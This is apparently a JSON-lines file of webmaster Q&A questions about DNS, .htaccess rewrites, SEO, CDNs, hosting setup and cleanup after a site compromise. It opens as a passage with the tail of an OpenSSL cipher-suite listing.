DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH Au=DSS Enc=Camellia(128) Mac=SHA1 AECDH-AES128-SHA SSLv3 Kx=ECDH Au=None Enc=AES(128) Mac=SHA1 ADH-AES128-SHA SSLv3 Kx=DH Au=None Enc=AES(128) Mac=SHA1 ADH-SEED-SHA SSLv3 Kx=DH Au=None Enc=SEED(128) Mac=SHA1 ADH-CAMELLIA128-SHA SSLv3 Kx=DH Au=None Enc=Camellia(128) Mac=SHA1 ECDH-RSA-AES128-SHA SSLv3 Kx=ECDH\/RSA Au=ECDH Enc=AES(128) Mac=SHA1 ECDH-ECDSA-AES128-SHA SSLv3 Kx=ECDH\/ECDSA Au=ECDH Enc=AES(128) Mac=SHA1 AES128-SHA SSLv3 Kx=RSA Au=RSA Enc=AES(128) Mac=SHA1 SEED-SHA SSLv3 Kx=RSA Au=RSA Enc=SEED(128) Mac=SHA1 CAMELLIA128-SHA SSLv3 Kx=RSA Au=RSA Enc=Camellia(128) Mac=SHA1 IDEA-CBC-SHA SSLv3 Kx=RSA Au=RSA Enc=IDEA(128) Mac=SHA1 IDEA-CBC-MD5 SSLv2 Kx=RSA Au=RSA Enc=IDEA(128) Mac=MD5 RC2-CBC-MD5 SSLv2 Kx=RSA Au=RSA Enc=RC2(128) Mac=MD5 PSK-AES128-CBC-SHA SSLv3 Kx=PSK Au=PSK Enc=AES(128) Mac=SHA1 ECDHE-RSA-RC4-SHA SSLv3 Kx=ECDH Au=RSA Enc=RC4(128) Mac=SHA1 ECDHE-ECDSA-RC4-SHA SSLv3 Kx=ECDH Au=ECDSA Enc=RC4(128) Mac=SHA1 AECDH-RC4-SHA SSLv3 Kx=ECDH Au=None Enc=RC4(128) Mac=SHA1 ADH-RC4-MD5 SSLv3 Kx=DH Au=None Enc=RC4(128) Mac=MD5 ECDH-RSA-RC4-SHA SSLv3 Kx=ECDH\/RSA Au=ECDH Enc=RC4(128) Mac=SHA1 ECDH-ECDSA-RC4-SHA SSLv3 Kx=ECDH\/ECDSA Au=ECDH Enc=RC4(128) Mac=SHA1 RC4-SHA SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=SHA1 RC4-MD5 SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=MD5 RC4-MD5 SSLv2 Kx=RSA Au=RSA Enc=RC4(128) Mac=MD5 PSK-RC4-SHA SSLv3 Kx=PSK Au=PSK Enc=RC4(128) Mac=SHA1 EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH Au=RSA Enc=DES(56) Mac=SHA1 EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH Au=DSS Enc=DES(56) Mac=SHA1 ADH-DES-CBC-SHA SSLv3 Kx=DH Au=None Enc=DES(56) Mac=SHA1 DES-CBC-SHA SSLv3 Kx=RSA Au=RSA Enc=DES(56) Mac=SHA1 DES-CBC-MD5 SSLv2 Kx=RSA Au=RSA Enc=DES(56) Mac=MD5 EXP-EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH(512) Au=RSA Enc=DES(40) Mac=SHA1 export EXP-EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH(512) Au=DSS Enc=DES(40) Mac=SHA1 export EXP-ADH-DES-CBC-SHA SSLv3 Kx=DH(512) Au=None Enc=DES(40) Mac=SHA1 export EXP-DES-CBC-SHA SSLv3 Kx=RSA(512) Au=RSA Enc=DES(40) Mac=SHA1 export EXP-RC2-CBC-MD5 SSLv3 Kx=RSA(512) Au=RSA Enc=RC2(40) Mac=MD5 export EXP-RC2-CBC-MD5 SSLv2 Kx=RSA(512) Au=RSA Enc=RC2(40) Mac=MD5 export EXP-ADH-RC4-MD5 SSLv3 Kx=DH(512) Au=None Enc=RC4(40) Mac=MD5 export EXP-RC4-MD5 SSLv3 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export EXP-RC4-MD5 SSLv2 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export"}
{"id":"28148","title":"Point domain to new host - changed nameservers, now what?","text":"This is driving me nuts, because I know I'm missing something simple. I've read numerous articles\/posts about how to point (not transfer) your domain to a new web host. They all say to change the name server settings at your old host, so here is what I did: On old host (1and1.com) changed the name server settings to those of my new host (inmotionhosting.com) like below: Domain name : mydomain.com Name server 1: ns.inmotionhosting.com Name server 2: ns2.inmotionhosting.com ... and confirmed this is active (did it a couple days ago) This is where every post\/article I've found stops. They imply this is all that needs to be done. But how does the new host know to point the domain to my account, and the directory in my account I want it work from?? There's go to be something else to be done - just pointing to the generic name servers of the new host can't be all there is to it. Thanks in advance...I'm bewildered..."}
{"id":"63305","title":"Is submitting a sitemap an outdated technique for SEO?","text":"I'm not getting more content or recommendations for sitemap practice in SEO. Is submitting a sitemap an outdated practice in SEO or is it necessary to submit a sitemap for SERP?"}
{"id":"16183","title":"Apache redirecting: reason unknown","text":"I have a simple php script. The script is not important. It just prints out `$_SERVER`. When I request an URL like `www.server.com\/?ref=bar` everything is fine. However if the request contains something like `www.server.com\/?ref=http:\/\/www.test.com` (`?ref=http%3A%2F%2Fwww.test.com`) the server redirects to _403.shtml_. No redirect for http:\/\/x but redirects http:\/\/x.y As far as I can understand somehow the server doesn't like \"http:\/\/x\". It always redirects to _403.shtml_ when there is a valid query string in the form of a valid url. my .htacess file is the same both on my server and local test server and local test server behaves as expected (no redirects). So I don't it is related to .htaccess. I'm on shared host on Hostgator. Can anyone help? **Edit:** Here's the .htaccess file Options +FollowSymLinks RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?$1 [L,QSA] When there is an http:\/\/xx.x it redirects to 403 even if there is physical file. However if I remove the .htaccess redirect to 403 also disappears. But I need the above .htaccess file. Is there a way to get around this?"}
{"id":"49862","title":"“Insufficient content” - AdSense","text":"After solving the first issue for adsense (i.e `“Unable to review your site” - AdSense`), again i applied to Google ad-sense with live blank ads on page, but In second review they disapproved my website by saying `\"- Insufficient content\"` . What should do now?"}
{"id":"16638","title":"How to seamlessly transfer a domain (avoid downtime because the previous registrar's nameservers stopped serving DNS records)","text":"I just transferred a domain from GoDaddy to NameCheap.com. There was a period of downtime until I configured the proper settings at NameCheap. During this downtime browsers returned a 408 Request Timeout error. Next time, **how do I avoid the downtime during domain transfers because the previous registrar's name servers stopped serving records?** Specifically transfers to NameCheap (from GoDaddy). Note this question differs slightly from Domain transfers - handling the downtime because NameCheap copied the GoDaddy name server information for the domain, but GoDaddy name servers stopped serving DNS records. When I switched to NameCheap's name servers, I had to manually re-enter all the records. I could swear on a previous transfer (also from GoDaddy to Namecheap) the DNS records were all transferred automatically, with no downtime. What did I do differently last time? Was it just a matter of switching the name server ASAP? I think the issue is configuring the domain to use NameCheap's name servers before GoDaddy's name servers stop serving records. I've thought of two possible solutions, but I'm not sure if either is feasible: * set the TTL for the records at GoDaddy to a very long value (might not be possible if I don't already own the domain) * use an intermediate, third-party name server Any better ideas?"}
{"id":"42413","title":"Find old web content via Google cache or similar","text":"I have a bit of a problem. My client is running a Joomla 1.0 site and some content (text) was lost. There was no backup configured of the MySQL database. The content was lost approx. around the 16:th of December 2012. I tried finding the old site by using the Web Archive, but no cigar. The site is not even indexed. I tried to retrieve it via Google cache instead. The cached page itself didn't have the content, but the preview screenshot of the website had the old content. I wrote everything I could read off the screenshot. However, there was content below the screenshot that could not be retrieved. Here is what I typed into Google Search to find the old page: site:gerami.se previous ass Ass = assignments for those wondering ;) I would really like to get the rest of the text that was below the screenshot when it was taken. P.S: Whether this thread gets a solution or not, the moral of the story is still the same: Backup is your friend!"}
{"id":"38749","title":"Preventing automated (fake) request?","text":"I developed a PHP application that its main use case is fetching some data from a database. I want prevent fetching all record of database data by using fake requests. The UI is simple (similar to Google home page) but I want to provide a link to previous and next records, no sign up is required to use the application. What is your suggested solution?"}
{"id":"16188","title":"How to optimise the url for search engines?","text":"I have a php template which has one `index.php` and all the different pages (`content1.html`, `content2.html`, etc) are shown on the `index.php`page. So for example I can open `www.example.com\/index.php?content1` and it will show the `content1.html`. Now what I would like is this: often you see websites where the URL is like: `www.example.com\/this-is-the-content`. I know how to do this with an exclamation mark like `www.example.com\/?content1` where you just don't write the `index.php`. But how can I make a URL name, which is completely different from the filename? For example, `www.example.com\/this-is-some-page` would show me the content of index.php?content1"}
{"id":"42418","title":"Apache HTTP Server Configuration on Port Other Than :80","text":"I am running an apache server for development on windows 7 (via XAMPP). By default, it is set up to listen on port `:80` for http:\/\/ requests. I can configure it for, say, port `:1234`, and can access web documents via: `http:\/\/localhost:1234\/` just fine. My question is this - Is is possible to have apache serve on port `:1234` but NOT have to include `:1234` in the URI for the request? EDIT\/CLARIFICATION: What I am really trying to do is run IIS (on port 80) and apache (xampp) at the same time, without having to add a port number to the browser request for one of them."}
{"id":"16630","title":"Correct DB details produce “Database server was not found” (Prestashop Installation)","text":"At stage 3 of the Prestashop Installation, I enter the DB details which I know to be correct, and I receive the error: > Database server was not found. Please verify the login, password, and > database server name fields. The server is localhost, and I have verified the database name and username. Why can Prestashop not find the server? This occurs when choosing InnoDB and MyIsam. If I change the server from localhost to the public hostname I receive the same error."}
{"id":"50557","title":"mod_rewrite doesn't work at all","text":"I have my small website (made for study purposes) on localhost and I am trying to get _.htaccess_ working (note that I am a complete beginner to _.htaccess_ ). So far, I have discovered that _.htaccess_ is not even read by the server (I tried creating a custom 404 page - no change). I've got my server setup on a Raspberry Pi and I am accessing it over a local network. But even after allowing mod_rewrite using `sudo a2enmod rewrite` (and rebooting apache2) it still doesn't work. Any suggestions? Ask for any additional info. I will do my best to answer it."}
{"id":"33990","title":"Bridge between phpbb and wordpress","text":"I want to create an authentication bridge between phpbb and wordpress. I know they cant share the same database but is there a way to make a single sign-on for them?"}
{"id":"6119","title":"Can I make Google Analytics set its cookies on just a subdomain? (I.e. www.domain.com, not domain.com)","text":"I’m using Google Analytics on a site — let’s call it `www.domain.com`. My Google Analytics website profile is for www.domain.com, and my only report is set up for `www.domain.com`. Requests to `domain.com` redirect permanently to `www.domain.com`. I’ve got the regular Analytics JavaScript on my index page for the domain. For some reason, it seems to be setting its cookies for `domain.com` instead of `www.domain.com`. This is unfortunate, as I’ve got `cdn.domain.com` set up as a CDN using Amazon Cloudfront, so I’d rather not have useless cookies (Analytics seems to set four cookies) cluttering up those requests. How can I make Analytics set cookies for `www.domain.com` instead of `domain.com`?"}
{"id":"12745","title":"Hiding content from search spiders","text":"I have a requirement to challenge a visitor to accept the terms and conditions of the page they are viewing. If a user has not accepted the terms, it will be displayed on every page they visit, it will take the form of a JavaScript modal dialog but when js is not available it needs to be at the top of the page. When they accept, they will be cookied and the HTML for the challenge will not be output to the page. Search engine spiders will never accept the terms and conditions and will therefore see the T&C copy on every page, vary near the top of the HTML source, and presumably index that for every page. **Is there a way to mark up an element to tell the spiders there is no useful information contained in this element, or \"Please don't index this element\"?** I guess this is kind of like reverse-cloaking. I want the SEs to ignore this legal jargon so that they can actually index the interesting content of the pages. Alternatively, **would it be considered cloaking, and as such incur a penalty if I hid this from the SEs based on user-agent?**"}
{"id":"10921","title":"Quickly deleting lots of files using FTP?","text":"At the moment I'm using FileZilla to FTP to my website. Sometimes, I want to delete a large directory, full of lots of other sub-directories and files. Filezilla seems to go through them all individually, which means it takes an absolute age to delete! Is there any way of doing it quickly\/er?? Thanks"}
{"id":"10927","title":"Using multiple A-records for my domain - do web browsers ever try more than one?","text":"If I add multiple A-records for my domain, they are returned in a round robin order by DNS servers. **Example:** 1.1.1.1 A example.com 1.1.1.2 A example.com 1.1.1.3 A example.com But how does web browsers react if the first host (`1.1.1.1`) is down (unreachable)? do they try the second host (`1.1.1.2`) or do they return a error message to the user? Are there any difference between the most popular browsers? If I implement my own application, I can implement so that the second is used in case the first is down, so it's possible. And this would be very helpful to create a fault tolerant website."}
{"id":"13764","title":"How to protect SHTML pages from crawlers\/spiders\/scrapers?","text":"I have **A LOT** of SHTML pages I want to protect from crawlers, spiders & scrapers. I understand the limitations of SSIs. An implementation of the following can be suggested in conjunction with any technology\/technologies you wish: > The idea is that if you request too many pages too fast you're added to a > blacklist for 24 hrs and shown a captcha instead of content, upon every page > you request. If you enter the captcha correctly you've removed from the > blacklist. > There is a whitelist so GoogleBot, etc. will never get blocked. Which is the **best\/easiest way to implement this** idea? Server = IIS _Cleaning out the old tuples from a DB every 24 hrs is easily done so no need to explain that._"}
{"id":"64742","title":"Optimising website IP for location","text":"From my understanding of SEO, websites are optimised for the current location of their IP address. For example if xxx.xxx.xxx.xx resolves to the UK then you are more likely to get higher rankings in the UK then you are in the USA. However, my query is when you use a CDN you are storing a cached version of your website across multiple servers at strategic locations across the globe to reduce load time in locations that your trying to target. Now if you use a CDN and geo-locate the website URL then it only resolves back to the USA (where our IP address resolves too) but it doesn't say it resolves to any other countries. As far as I know you can have multiple IP address resolving to one domain (from different countries). Do CDN's really help to optimise the location of your website or are they soley meant to optimise load time? Is there a better way to optimise for multiple countries with regards to the resolution of the IP address? Are VPN's as per this post here relevant to this?"}
{"id":"10929","title":"Will a forum work without moderators?","text":"I'm starting a forum site. Right now, its only me, so I won't have moderators. Will this be a chaos or it will work anyway? (My site is a discussion forum focused on a country). **EDIT (will this spam button and rating thumbs be enough for now?):** "}
{"id":"17323","title":"Why am I seeing unexpected requests for \"crossdomain.xml\" in my logs?","text":"I've getting lots of 404 errors from crossdomain.xml. Here are the request details, as provided by Google App Engine: 404 22ms 19cpu_ms 0kb Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/534.30 (KHTML, like Gecko) Chrome\/12.0.742.122 Safari\/534.30 69.130.*.* - - [24\/Jul\/2011:07:43:42 -0700] \"GET \/crossdomain.xml HTTP\/1.1\" 404 124 \"http:\/\/s.nsdsvc.com\/App\/DddWrapper.swf?c=3\" \"Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/534.30 (KHTML, like Gecko) Chrome\/12.0.742.122 Safari\/534.30\" \"app.*.*.*\" ms=22 cpu_ms=19 api_cpu_ms=0 cpm_usd=0.000633 instance=00c61b117c557326bef77d341a345431e66b I'm not sure what is going on. Can anyone help me solve this issue?"}
{"id":"52993","title":"Moving big database from one server to another","text":"I have created a website that I know that its database size will increase rapidly. It will become terabytes and by the way I don't want to get a expensive server at first. What is I'm concerned about: 1. If my cheep server is not enough, how do I move gigabytes of database to another server (considering that meanwhile the website will be in maintenance mode) 2. Is there any ways (any services) that I can have unlimited database size without worrying about database size and moving it? PS: I'm using SQL server."}
{"id":"7932","title":"What is the standard width for a website in pixels?","text":"What is the standard width for a website in pixels or where are statistics?"}
{"id":"57549","title":"Can Campaign URL tags cause a soft 404 error?","text":"I was checking out one of my company's website's Webmaster Tools to analyze the cause behind some soft 404 errors and discovered that a few of the older errors had affiliate mp referral tags listed as the relative URLs. Since these are older problems and I don't seem too many of them coming up in the last few months I don't think it's still a problem. I'm just curious if it's possible to cause a soft 404 by improperly copying the campaign or referral tag into the URL."}
{"id":"7938","title":"Image Archives for <hr> and border image replacement","text":"Do you know any quality image archives for **< \\hr>** and **border** For example an image archives for <\\hr> : http:\/\/siahdesign.com\/archives\/210"}
{"id":"9105","title":"Updated to Wordpress 3.0.5 and all my work is gone?","text":"I updated my website from Wordpress 3.0.4 to 3.0.5 and all my work is gone! Can go back somehow? How can it overwrite everything? The theme I used for the site is a copy of Twenty Ten and then I modified it. Please help me...."}
{"id":"9101","title":"Where can I find icons for all browsers","text":"I need to create a \"works on all major browsers\" graphics for a web application, where can I find free or cheap images of browser icons from all the major browsers (IE, Firefox, Chrome, Safari)? Alternatively, is there a (again, free or cheap) ready made \"works on all browsers\" image I can use? The images must be free or cheap for commercial use and preferably don't require attribution."}
{"id":"16984","title":"SEO for multimedia site with little text","text":"How would one optimize a flash website that consists primarily of images and video and has minimal text (i.e. only navigation), without changing the visual design of the site? If one were to use the object tag to provide a non-flash version of the site which used text to describe the images \/ videos seen in the flash version, that may be considered cloaking by Google. Is there a good way to add search engine friendly keywords to such a flash based multimedia website without risking cloaking related penalties?"}
{"id":"60621","title":"Does hosting images on a CDN impact SEO?","text":"I manage two sites (foo.com and bar.com) which share image assets. Currently the images are all on the foo.com domain which is a bit confusing if you open the image on bar.com and see a foo.com URL. I'd like to have a generic domain for these shared resources and I'm planning on using Rackspace Cloud Files (which can plug into the Akamai CDN) so that we can also benefit from increased performance. My question is, if we use the Rackspace Cloud Files URLs (e.g. http:\/\/c0344252.cdn.cloudfiles.rackspacecloud.com\/cute_kids.jpg) what (if any) impact will it have on the SEO performance of foo.com. Position within Google Image search is of minimal importance to us so I'm particularly interested in any knock-on impact for Web search performance."}
{"id":"49191","title":"Could a CDN serving static images result in decreased search engine rankings?","text":"I have set up Cloudfront on my site to serve static files only. This results in the image file's URL to change from: `mysite.com\/image.jpg` to `uniqueid.cloudfront.net\/image.jpg` Will this affect how images are indexed by Google? We are currently ranking quite well prior to this - would hate to see these go! Any problems with duplicate content? Also, would using a CName (to make the URL appear nicer) impact my rankings \/ SEO?"}
{"id":"33226","title":"Are there any examples of #! indexed websites on the internet?","text":"It seems that although google say they can index Ajax websites I cannot find any websites where this currently works. Does anyone know of any sites that are indexed?"}
{"id":"56176","title":"Change web folders names with uppercase to lowercase or not?","text":"I have web directories with upper case letters and site is on Apache server. Example: `www.example.com\/ServiceTools\/page.htm` I have read that using upper case letters in folder name is bad practice and could cause problem with accessing page and produce 404 pages? Should I change folder to lowercase and will this have influence on SEO? `www.example.com\/servicetools\/page.htm`"}
{"id":"68508","title":"Reset Connection causing multiple errors after hack","text":"We use webmaster tools to monitor our websites, and in the past couple of months some of our sites have been compromised and had various pages inserted. These pages created URLs that Google would index and recognise. As part of the process to remedy these issues, we setup IIS to reset the connection of any visitors to our server that contained keywords of these pages (mulberry, michael kors handbags etc.). This also applied to any POST\/GET requests, as we thought this could be how the pages were getting inserted. However as a result, this has meant that webmaster tools sent out a large volume of notifications related to connection errors (\"your site is not responding\"), but when we investigate, it is only applying to the old sites pages that were maliciously inserted, because when those pages are crawled\/requested, we reset the connection. We have requested Google to re-index the site but it appears that these pages are still being crawled and causing the same problems. Is there a reason that google is retaining the page URLs and not removing them from its index? Any help\/advice is much appreciated. Our webserver runs windows 2008 R2 with IIS 7.5, CF10 and PHP (both CF and PHP sites have been compromised with this issue, and the reports are from both)"}
{"id":"33224","title":"SiteMap \/ webmaster \/ google adsense","text":"Can we apply for Adsense without sending Sitemap to webmaster tools ?"}
{"id":"69045","title":"What does \"Average Position\" mean in Google Webmaster Tools under Top pages?","text":"What does \"Average Position\" mean in Google Webmaster Tools under Top pages? I can only find the definition for \"Average Position\" under Search Queries."}
{"id":"69047","title":"Codeigniter Permalinks","text":"I want to develop a website in the CodeIgniter framework and add permalinks just like WordPress and Magento: `www.sitename.com\/category_type\/category_detailpage` How do I have to design the schema of slug table in database? Thanks in Advance!"}
{"id":"20812","title":"Multiple meta tags for mobile optimisation?","text":"For mobile optimization I've read that you should include all the following meta tags: <meta name=\"HandheldFriendly\" content=\"true\" \/> <meta name=\"MobileOptimized\" content=\"320\" \/> <meta name=\"viewport\" content=\"width=device-width\"> Are they all doing slightly different things or is there a hierarchy (e.g. the later tags overwriting the previous ones)? As `MobileOptimized` includes a pixel width, is it possible to use `width=device-width` instead and is it advisable to do so? Will something like the iPhone scale to 320px or ignore this?"}
{"id":"9145","title":"How to purge old links in google from an old domain","text":"Recently, I uploaded a new site to an existing domain and I'd like to figure out how I can forward all links to said domain to a new domain. I'm looking for a wordpress solution if possible, but in the end I I seem myself writing a small header script that I will paste into ever directory's index file saying header('Location:http:\/\/xxx.yyy.zzz') Is there a cleaner way to do this without having to resort to managing the whole file structure? No, I do not have access to the apache runtime. Unfortunately it is a shared- host server. Thanks in advance."}
{"id":"63558","title":"404 - Page not found error while using Google's Instant Preview in Webmaster Tools","text":"While I was comparing my website's live page with Google's Instant Preview of a page in Google Webmaster Tools, I got a `404 - Page not found` error. What are the possible reasons for this?"}
{"id":"61479","title":"Why are the converted clicks totals different between Locations and Keywords in Google Analytics?","text":"Here is my case: * Select a Campaign -> click Keywords -> the total converted clicks (search + display netowrk) equals 3. * Click Settings -> click Locations -> the total converted clicks equals 2. Why are the two values different? Does Google Analytics sometimes fail to recognize countries?"}
{"id":"50556","title":"Is my .htaccess rule creating an infinite loop?","text":"Whenever I type a made up address that includes a directory index it removes it. The problem is when the the address includes a forbidden subdirectory. It reduces itself until it hits forbidden. How do I get it to redirect to the homepage instead of reducing itself? Options -Indexes +FollowSymlinks -MultiViews RewriteEngine on DirectoryIndex index.htm index.html index.php # REDIRECT www to non-wwww # Set Canonical URL RewriteCond %{HTTP_HOST} !^www\\. RewriteRule ^(.*)$ http:\/\/www.%{HTTP_HOST}\/$1 [R=301,L] # REMOVE Directory Index From URL RewriteRule ^([a-zA-Z0-9_-]+\/)?index\\.(htm?|html?)$ \/$1 [R=301,L] # Custom Error Documents ErrorDocument 404 \/errors\/404_notfound.htm"}
{"id":"21369","title":"Subscription service or software to handle a Magazine's PDF","text":"I'm looking for an installable or hosted software (service) to handle the process of public users subscribing to the Magazine and receiving the PDF automatically upon an admin upload the new one. The system will have to: * handle the money part (PayPal&Co. are OK) * let user buy old issues of the Magazine * warn user on subscription expiring, etc. PDF stamping and WordPress integration (user credential sharing, page access of subriscrebed goods, etc) will be a big plus."}
{"id":"21498","title":"Permanent redirect to different domain followed by temporary redirect to folder","text":"I have `old-domain.com` which I want to migrate to `new-domain.com`. However, the content on the old domain is, well, old. And I'm currently in the process of redesigning my whole site. My idea is to do a permanent (301) redirect from `old-domain.com` to `new- domain.com` so that search engines know about the new domain and forget about the old one. But since the content is old I was thinking to do a temporary (302) redirect from `new-domain.com` to `new-domain.com\/old\/` until the new content\/site is ready to be published. Is this, for some reason, a bad idea? Or there's nothing wrong with it? One last thing... If I go with this, what should I do when the new content is ready? Should I just remove the 302 redirect and that's it, or should I do something else to notify search engines that the temporary redirect is over?"}
{"id":"22940","title":"Wrong canonicalization by Google","text":"I had 2 pages with mostly same text and the difference being in Flash and cities names. So, Google started to think that those were copies of the same page and to index only the most popular of them. So I changed texts. No result. I used this http:\/\/www.google.com\/addurl\/ and Google still crawled only the most popular page. What do I have to do to convince Google that those are different pages? So far only changing urls comes to my mind."}
{"id":"21493","title":"How can I obtain click data to sort a list of URLs?","text":"If you had a list of URLs and you wanted to show which of them was more important than the others (by click-through), how would you gain the number of clicks for a given link so that you could sort them, possibly showing that some links are a thousand times more visited than the others? The output could be: > 1 : link1 : 10500 > > 2 : link2 : 9200 > > 3 : link3 : 8100 > > 4 : link4 : 7000 > > 5 : link5 : 250 > > 6 : link6 : 100 > > 7 : link7 : 20"}
{"id":"21491","title":"Trouble setting up DNS for VPS","text":"I had registered a domain at namecheap and forwarded the DNS to my host at `vps.net`. The strange thing is, when I did that the site was showing up. I even uploaded files and everything was displaying correctly on my new domain. Now, it is just the namecheap holding page again. I have no idea why this is happening as I haven't touched the configuration since it was working. Could anyone point me in the right direction? When I enter `http:\/\/example.com` it redirects to `http:\/\/www.example.com` and the namecheap holding page is shown. Prior to this `domain.com` was showing what the host was serving. I am completely lost and have no idea where to start so I'd appreciate any help I can get."}
{"id":"46912","title":"re-direct URL with google +","text":"I have a WP plugin that is throwing up an error after I go to authorise my account to link up with the Client ID and Client Secret details set up in Google +.. This is the error Error:redirect_uri_mismatch The redirect URI in the request: http:\/\/nutribalance.net\/wp- content\/plugins\/paged_social_lockdown\/lib\/google\/plus\/ did not match a registered redirect URI Any help with this would be greatly appreciated! Thanks, David"}
{"id":"46914","title":"Can I sell a php website on a condition that the code is not resold by the client?","text":"What if I write my client a website using LAMP. Suppose that clients starts selling my code to other people, can I perhaps do something about it because I have already asked them not to sell it more than once. This is because I am giving them the space to sell their website. But I don't want my code to be sold to too many people. As a web developer, I usually use OOP really well and so when my clients want websites, I usually use what I have. But what worries me is that a customer can go and sell my code for a cheaper price which in turn could run me out of business. This is a little complicating because I did sell them the website. But on the other hand, I have a copy of windows but I may not resell it. The problem is that unlike windows, php isn't compiled and thus they could make changes and sell it. My question is, can I take them to court over it?"}
{"id":"38473","title":"Changed url from non www to www...Google Indexing","text":"I have recently changed (about 1 week ago) my url from non www version to www version. I told my hosting company to do this and they did it successfully all my urls are directed to www version. But google is indexing my non www version on the search results. I have updated new content on my website and google indexes that content with the changed url i.e with prefix www but the mainpage i.e the site name is still shown without www and its not updated. I have checked that my `www.sitename.com` is listed on google but not shown when I type `www.sitename.com`. So how much time does it take to remove the old urls from indexing and updating into new urls ??????"}
{"id":"56942","title":"Direct link to cPanel File Manager","text":"What is the direct link to the cPanel File Manager? The documentation says when inside cPanel, to access files, you have to click on the File Manager icon. I can log in to cPanel but the page does not seem to go to cPanel. I need to upload some files on the server but somehow I cannot. What I need is the link that gets you to the File Manager interface. For example: To go directly to phpMyAdmin, you can type something like: > example.com:XXXX\/cpsess7168629484\/3rdparty\/phpMyAdmin\/index.php and this will send you directly to phpMyAdmin. What if you want to go directly to File Manager?"}
{"id":"17585","title":"Verify \/ setup LAMP via SSH","text":"I am a PHP coder and have next to none experience in system administration. One of my clients has obtained a VPS from HostGator. The logins I was sent, take me to Parallels Infrastructure Manager, where I presumably, can start and stop _containers_. I guess a container in this context is a virtual server. Anyway, I looked for and couldn't find a cPanel, Plesk or anything familiar. I contacted support and asked how could I get a LAMP envo working on this account. They said as the account is not Level 3, I need to do everything through SSH. I verified that Apache is running. But don't know where I should look for the document root. With that I would be able to check if I have PHP and MySQL running or not. If they're not, I don't know what should I do next. Your advice is appreciated. P.S. The OS is CentOS. **Update** Ok, I found the document root which is `\/var\/www\/html` as noted here. If you someone can provide guidance on how to setup PHP and MySQL via SSH, it would be great."}
{"id":"38479","title":"Shared SSL hosting receives all SSL requests but why is Google getting it wrong?","text":"The website is hosted on a shared server that supports SSL. The web hosting provider secures our website using SSL: https:\/\/domain.com instead of http:\/\/domain.com Ever since then all the client HTTP requests sent to the server are redirected to my website. Leading `https:\/\/otherdomain.com` and I'm presented with a warning message. I now know its my fault and I should of known that most SSL certifications only support one IP address but... Google Search results for my website's target keywords is now displaying these websites above my own, even though they have nothing even remotely related to the target keywords! **Already Done** : * provide canonical URL in the HTML page. * told the problem to the server manager, who tells me it's normal but he'll look for a solution. This was one week ago, no answer since. I have no idea why Google is providing these HTTPS URLS: i thought someone would have to submit them, or have them inside an HTML page in order for Google to actually index dummy HTTPS domains, but i see no reason why someone would do that. Any suggestion on how to solve this situation? Go-live is in one week and SEO looks really bad because of that."}
{"id":"3426","title":"I'm having some trouble moving MX records to the registrars DNS","text":"I run Google Apps email and have traditionally hosted my own DNS records through my Plesk setup. It has been recommended to us that we'd more reliably serve emails during downtime if we kept the MX and CNAME listings required by Google Apps hosted at Enom instead of handling it internally. I have essentially copied the settings from Plesk over to Enom. The domain itself forwards with no problem, but the MX records, while they seem to be input into Enom without error, never seem to reroute my mail. If I try to send to the email address I'm trying to route, I get the following error bounced back: Google tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 553 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) (state 14). This sort of error gets referenced a lot with regard to propogation, but It's been two days and Enom updates everything else almost instantly. Ideas?"}
{"id":"17583","title":"Search and Tags for robots.txt","text":"After setting up a blog at blogspot.com I added the site to my webmasters tools of google. I noticed an error: \"Restricted by robots.txt\" and looked a little into the matter. I found in the robots.txt of blogspot that Google prevents the \/search directory by default in order to avoid duplicate entries in their search engine. As tags can be found under \/search\/label\/SOME_TAG, these are not indexed too. I run different sites, especially one is an important e-commerce site for me. For each product, we use tags. Each tags leads to a separate site like \/tags\/tag1\/ and lists all products that are linked to this tag. And this leads me to my question: **Should I also block search and\/or tag pages on my sites by using robots.txt?** I feel google might punish my pagerank\/results for using this \"low-quality\" content. However I think they are quite useful. We provide a short description of each tag and how the listed products can be used for the problem the tag describes. Moreover users landing on tags-pages have very high bounce rates (>90%), which is far above the average bounce rate. So, what is the best practice?"}
{"id":"2004","title":"Should I encourage clients to update content for SEO reasons?","text":"Assume a website has quality content, let's say it's about a topic that does not change: a company whose services and staff stay the same, and they have no news to speak of. The content is accurate, it's just static. Will this site _always_ lose in search engine results to the sites of similar companies with similar websites with, say, a simple piece of content (e.g.: home page with a \"what we're up to lately\" subsection) that changes monthly? `<ramble>` I get frustrated with clients who are given tools to update their sites, but don't. My intuition is that by not adding \"fresh\" content to their site, even minimal content, they are hurting their search position in a way that's significant. Is that a valid intuition? Are there studies showing this is so or not so? I don't want to push clients to put more on the web if there's not going to be a return for that effort. I was considering building an automated tool to allow clients to set a weekly, monthly, etc reminder to add or update content. Any opinions on how much is enough for the SEO boost? Not every site needs a blog or has regular press releases. `<\/ramble>`"}
{"id":"34896","title":"Open source login solution","text":"Authentication is such a general problem, which most websites have to implement. There are a few commercial solutions, but all lack sufficient functionality to customize the registration process. Therefore, I am looking for an open-source alternative. I am using PHP and with PostgreSQL as database, but as far as I understand one could utilize authentication solutions using other technologies and integrate them into our site in various ways. Therefore, I am looking for such solutions in any technology apart from those requiring Microsoft infrastructure... I would prefer Open Source solution, which have already implemented the following features: * Has password recovery procedure * Username is the email address of the user * Has \"Remember me\" functionailty (meaning that the user is logged in automatically without seeing the login page) * email address verification Google has gotten me nowhere on this and neither a search on this site..."}
{"id":"14177","title":"Publishing series of photos on non-dynamic website","text":"I have a series of photos I was asked to publish on a website. Website is on the free hosting (plain HTML and ftp access). Is there any way (javascript framework or anything) to quickly build a gallery, without creating pages manually for each photo category? Or, probably, an offline tool to generate html-structure for this."}
